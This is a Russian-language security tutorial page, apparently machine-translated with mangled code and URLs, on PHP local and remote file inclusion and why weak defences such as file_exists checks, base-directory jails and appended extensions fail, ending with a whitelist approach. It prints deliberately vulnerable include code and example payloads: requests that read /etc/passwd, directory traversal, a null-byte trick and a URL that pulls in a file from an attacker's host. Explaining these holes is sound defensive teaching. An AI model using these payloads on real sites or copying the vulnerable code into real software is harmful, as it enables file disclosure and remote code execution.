Включение файлов




98
Включение файлов
Рейтинг 10 из 10. Голосов: 1344
Ваша оценка:

Включение файлов в этом контексте означает, что злоумышленник может получить интерпретатор жертвы для загрузки данного файла. Файл может быть загружен с сервера жертвы или с другого хоста. Чтобы сделать это, жертве нужен какой-то небезопасный код, как показано ниже.

 

 

Локальное включение файлов

Это позволит злоумышленнику прочитать любой файл, который может прочитать владелец процесса веб-сервера.

<? php 
  include ( $ _GET [ 'page' ] ) ; 
?>

HTTP: //localhost/index.php страница = / и т.д. / пароль

 

Удаленное включение файлов

Злоумышленник может также внедрить собственный файл, который будет проанализирован интерпретатором PHP http: // localhosts.

<? php 
  include ( $ _GET [ 'page' ] ) ; 
?>

HTTP: //localhost/index.php страница = HTTP: //attackersHost/inject.txt

 

неправильная защита 1: file_exists ()

или мы не хотим, чтобы удаленный файл был включен

Добавим проверку, существует ли данный файл в локальной файловой системе:

<? php 
  if ( file_exists ( $ _GET [ 'page' ] ) )  { 
    include ( $ _GET [ 'page' ] ) ; 
  } 
?>

Теперь злоумышленник больше не в состоянии внедрить удаленный файл.

Но это означает, что вы все равно можете набрать http: //localhost/index.php? Page = / etc / passwd

Файл существует и вуаля.

 

неправильная защита 2: каталог тюрьмы

или где приходит относительный путь обхода

Подход к прекращению чтения наших файлов заключается в том, чтобы посадить злоумышленника в определенный каталог:

<? php 
  if ( file_exists ( $ myBasedir . '/' . $ _GET [ 'page' ] ) )  { 
    include ( $ myBasedir . '/' . $ _GET [ 'page' ] ) ; 
  } 
?>

Предположим, мы находимся по адресу /var/www/index.php

1st ../ изменит путь к / var /

2nd ../ изменит путь к /

Это означает, что вы можете предоставить что-то вроде http: //localhost/index.php? Page = .. / .. / etc / passwd

/ etc / passwd существует и вуаля.


Поскольку злоумышленник не знает, где находится веб-корень в файловой системе сервера, он может получить эту информацию, вызвав ошибки с неверно заданными параметрами.

Или просто угадать до 10 или даже больше уровня.

Читайте полный путь раскрытия для получения дополнительной информации.

 

неправильная защита 3: добавление содержимого в имя файла

или куда входит байт Poison Null

Другой подход к прекращению чтения наших файлов заключается в добавлении .php (или чего-либо еще) в конец данного файла:

<? php 
  if ( file_exists ( $ _GET [ 'page' ]  .  '.php' ) )  { 
    include ( $ _GET [ 'page' ]  .  '.php' ) ; 
  } 
?>

Это означает, что злоумышленник должен сказать переводчику-жертве остановить строку перед добавлением «.php».

Это можно сделать следующим образом: http: //localhost/index.php? Page = / etc / passwd% 00

file_exists () проверит наличие файла с именем /etc/passwd%00.php и исправит меня, если я ошибаюсь

Файл / etc / passwd существует и вуаля.

Прочитайте Poison Null Byte для получения дополнительной информации.


Это можно сочетать с атакой по каталогу, чтобы сломать

<? php 
  if ( file_exists ( $ myBasedir  .  '/'  .  $ _GET [ 'page' ]  .  '.php' ) )  { 
    include ( $ myBasedir  .  '/'  .  $ _GET [ 'page' ]  .  '.php' ) ; 
  } 
?>

запросив http: //localhost/index.php? page = .. / .. / etc / passwd% 00

 

лучший подход к защите

Мы могли бы начать отфильтровывать специальные символы, такие как "/", "." и "%"

Я не знаю, что произойдет, если взломщик использует Hex, Unicode или другую кодировку.

Или закодированная кодировка. Просто слишком много, чтобы волноваться.

В этой ситуации белый список намного безопаснее, чем любой черный список:

<? php 
  if ( $ _GET [ 'page' ]  ==  'news' )  { 
    include ( 'news.php' ) ; 
  } 
?>

Вы также можете иметь массив разрешенных входных данных (возможно, созданный ранее с помощью SQL-запроса) и спросить, находится ли $ _GET ['page'] в этом массиве. Если true, включите связанный файл. Если False, сделайте несколько небольших проверок строки. Если вы обнаружите вредоносный контент (например, "\.% '/) В $ _GET [' page '], вставьте IP-адрес злоумышленника в черный список на основе IP-адреса. Или если вы контролируете сервер, добавьте его IP-адрес в брандмауэр. Таким образом, у злоумышленников не будет больше (прокси) IP-адресов рано или поздно и «нормальные» ошибки регистрируются без внесения в черный список IP-адресов пользователей.


Вопросы и ответы


Оставить комментарий

ответить